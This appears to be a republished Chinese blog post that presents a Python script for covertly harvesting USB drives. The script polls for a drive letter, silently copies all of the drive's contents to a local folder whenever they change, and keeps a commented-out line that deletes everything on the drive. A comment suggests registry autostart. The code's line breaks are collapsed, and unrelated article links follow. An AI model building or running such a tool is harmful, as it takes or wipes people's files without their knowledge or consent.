博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
拷贝并删除U盘所有内容
阅读量:4101 次
发布时间:2019-05-25

本文共 1235 字,大约阅读时间需要 4 分钟。

 思路:一直在检测U盘盘符,有就拷贝并清空U盘(下面的代码把清空注释掉了)

# 检索U盘资料并拷贝import shutil# 系统包 找到U盘路径import osimport time# 系统路径包,可以拼接一个绝对路径from os.path import join,getsize"""shutil.copytree(usb,save)递归拷贝出所有文件shutil.copyfile(src,dst)目标地址要具备可写权限shutil.move(src,dst)移动文件或者重命名shutil.copymode(src,dst)拷贝文件所在系统权限shutil.rmtree(src)递归删除目录最好不用,杀伤力大"""# 插入U盘时,会出现一个H盘或者其他盘USB= 'H:\\'# 预备将U盘所有内容保存到本地磁盘的目录SAVE = 'F:\\Copys'# 获取U盘所有文件大小def get_dir_size(dir):    size = 0    # 调用os包的walk()方法获取到U盘文件夹中的所有内容    for root, dirs, files in os.walk(dir):        # 获取U盘文件总大小        print(dirs)        size += sum([getsize(join(root,name)) for name in files])    return size# 拷贝操作def usb_copy():    shutil.copytree(USB,SAVE) # 拷贝出来    # shutil.rmtree(USB)#清空USB,不要轻易尝试这一句# 执行函数def main():    # 本地磁盘目标目录SAVE的大小初始为0    destination_dirsize = 0    # 一直监听是否有U盘插入    while True:        # U盘监听,是否被系统识别        if os.path.exists(USB):            print("检测到U盘了")            new_dirsize = get_dir_size(USB)            if destination_dirsize != new_dirsize:                usb_copy()                destination_dirsize = new_dirsize            else:                print("没有变化")        else:            print('暂时没检测到U盘')        time.sleep(5)# python写入注册表开机自启程序,if __name__ == '__main__':    main()

 

转载地址:http://jcwsi.baihongyu.com/

你可能感兴趣的文章
Kubernetes集群搭建之CNI-Flanneld部署篇
查看>>
k8s web终端连接工具
查看>>
手绘VS码绘(一):静态图绘制(码绘使用P5.js)
查看>>
手绘VS码绘(二):动态图绘制(码绘使用Processing)
查看>>
基于P5.js的“绘画系统”
查看>>
《达芬奇的人生密码》观后感
查看>>
论文翻译:《一个包容性设计的具体例子:聋人导向可访问性》
查看>>
基于“分形”编写的交互应用
查看>>
《融入动画技术的交互应用》主题博文推荐
查看>>
链睿和家乐福合作推出下一代零售业隐私保护技术
查看>>
Unifrax宣布新建SiFAB™生产线
查看>>
艾默生纪念谷轮™在空调和制冷领域的百年创新成就
查看>>
NEXO代币持有者获得20,428,359.89美元股息
查看>>
Piper Sandler为EverArc收购Perimeter Solutions提供咨询服务
查看>>
RMRK筹集600万美元,用于在Polkadot上建立先进的NFT系统标准
查看>>
JavaSE_day12 集合
查看>>
JavaSE_day14 集合中的Map集合_键值映射关系
查看>>
Day_15JavaSE 异常
查看>>
异常 Java学习Day_15
查看>>
JavaSE_day_03 方法
查看>>